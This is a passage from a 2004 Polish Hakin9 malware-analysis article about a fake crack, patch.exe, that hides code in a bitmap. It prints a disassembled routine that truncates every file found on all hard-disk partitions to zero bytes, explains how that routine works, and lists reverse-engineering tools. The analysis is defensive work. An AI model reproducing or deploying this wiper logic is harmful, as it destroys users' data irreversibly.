Listing 14. Niszczycielska procedura zeruj_rozmiar_pliku
zeruj_rozmiar_pliku proc near ; CODE XREF: wymaz_pliki+19p
pusha
mov eax, [edi+20h] ; rozmiar pliku
test eax, eax ; jeli ma 0 bajtw, omi go
jz short pomin_plik
lea eax, [edi+2Ch] ; nazwa pliku
push 20h ; ' ' ; nowe atrybuty dla pliku
push eax ; nazwa pliku
call [ebx+interfejs.SetFileAttributesA] ; ustaw atrybuty
pliku
lea eax, [edi+2Ch]
sub edx, edx
push edx
push 80h ; ''
push 3
push edx
push edx
push 40000000h
push eax
call [ebx+interfejs.CreateFileA]
inc eax ; czy otwarcie pliku si powido?
jz short pomin_plik ; jeli nie, nie zeruj pliku
dec eax
xchg eax, esi ; uchwyt pliku wgraj do rejestru esi
push 0 ; ustaw wskanik pliku od jego pocztku (FILE_BEGIN)
push 0
push 0 ; adres na jaki ustawi wskanik pliku
push esi ; uchwyt pliku
call [ebx+interfejs.SetFilePointer]
push esi ; ustaw koniec pliku na biecy wskanik (pocztek
pliku),
; co sprawi, e plik zostanie skrcony do 0 bajtw
call [ebx+interfejs.SetEndOfFile]
push esi ; zamknij plik
call [ebx+interfejs.CloseHandle]
pomin_plik: ; CODE XREF: zeruj_rozmiar_pliku+6j
; zeruj_rozmiar_pliku+2Aj
popa
retn
zeruj_rozmiar_pliku endp
W Sieci
http://www.datarescue.com deasembler IDA Demo for PE,
http://webhost.kemtel.ru/~sen/ edytor szesnastkowy Hiew,
http://peid.has.it/ identyfikator plikw PEiD,
http://lakoma.tu-cottbus.de/~herinmi/REDRAGON.HTM identyfikator
FileInfo, http://tinyurl.com/44ej3 edytor zasobw eXeScope,
http://home.t-online.de/home/Ollydbg darmowy debugger dla
Windows
OllyDbg, http://protools.cjb.net zbir narzdzi przydatnych do
analizy plikw binarnych.
-
11
Analiza podejrzanego programu
tery partycji zwraca jej typ. Kod pro-cedury znajduje si na
Listingu 12. Warto zwrci uwag, e procedu-ra poszukuje jedynie
standardowych partycji dyskw twardych i pomija stacje CD-ROM czy
dyski sieciowe.
Gdy wykryta zostanie popraw-na partycja, zostaje uruchomiony
re-kursywny skaner wszystkich jej ka-talogw (procedura wymaz _
pliki patrz Listing 13). Oto kolejny po-wd do uzasadnionych
podejrze o niszczycielsk dziaalno ukryte-go kodu: skaner,
wykorzystujc funk-cje FindFirtsFile(), FindNextFile() i
SetCurrentDirectory(), skanuje ca- zawarto partycji w poszukiwa-niu
wszystkich rodzajw plikw. M-wi nam o tym zastosowana dla pro-cedury
FindFirstFile() maska *.
Dowd: zerowanie plikwDotychczas moglimy mie jedynie mniej lub
bardziej uzasadnione po- Rysunek 5. Schemat procedury skanowania
dyskw
R E K L A M A
-
www.hakin9.org12 Hakin9 Nr 6/2004
Obr
ona
dejrzenia co do niszczycielskiej si-y ukrytego w bitmapie kodu.
Na Li-stingu 14 natomiast znajduje si dowd na zoliwe zamiary twrcy
programu patch.exe. To procedu-ra zeruj _ rozmiar _ pliku jest ona
wywoywana zawsze, gdy procedura wymaz _ pliki odnajdzie jakikolwiek
plik (o dowolnej nazwie i dowolnym rozszerzeniu).
Procedura ta dziaa bardzo pro-sto. Kademu kolejnemu
znalezio-nemu plikowi zostaje za pomoc funkcji SetFileAttributesA()
usta-wiony atrybut archiwalny. Przez to zostaj usunite inne
atrybuty, w tym tylko do odczytu (jeli takie by-y ustawione),
chronice plik przed zapisem. Nastpnie plik jest otwie-rany funkcj
CreateFileA() i, jeli
otwarcie pliku si powiodo, wska-nik pliku zostaje ustawiony na
jego pocztek.
Do tego celu procedura uywa funkcji SetFilePointer(), ktrej
para-metr FILE_BEGIN okrela sposb ustawienia wskanika (w naszym
przypadku na pocztek pliku). Po ustawieniu wskanika wywoy-wana jest
funkcja SetEndOfFile(), ktrej zadaniem jest ustalenie no-wego
rozmiaru pliku przy wykorzy-staniu biecej pozycji wskanika w pliku.
Jak wida, wskanik pliku ustawiony zosta wczeniej na sam jego
pocztek plik po tej opera-cji ma wic zero bajtw. Po wyzero-waniu
pliku kod wraca do rekursyw-nego skanowania kolejnych katalo-gw w
poszukiwaniu innych plikw,
za naiwny uytkownik, ktry uru-chomi plik patch.exe, traci
kolejne dane z dysku.
Analiza rzekomego cracka po-zwolia nam, na szczcie bez
uru-chamiania pliku wykonywalnego, zrozumie zasad jego dziaania,
wyszuka ukryty kod i okreli je-go zachowanie. Uzyskane wyniki s
jednoznaczne i przeraajce efek-ty dziaania malutkiego programi-ku
patch.exe nie nale do przy-jemnych. W efekcie dziaania zo-liwego
kodu znalezione na wszyst-kich partycjach wszystkich dyskw pliki
zmieniaj rozmiar na zero baj-tw i praktycznie przestaj istnie. W
przypadku posiadania cennych danych strata moe by nieodwra-calna.
n
Rysunek 6. Schemat dziaania podejrzanego programu
WinMain()
DialogBoxParamA()
WaitForSingleObject()
GetProcAddress()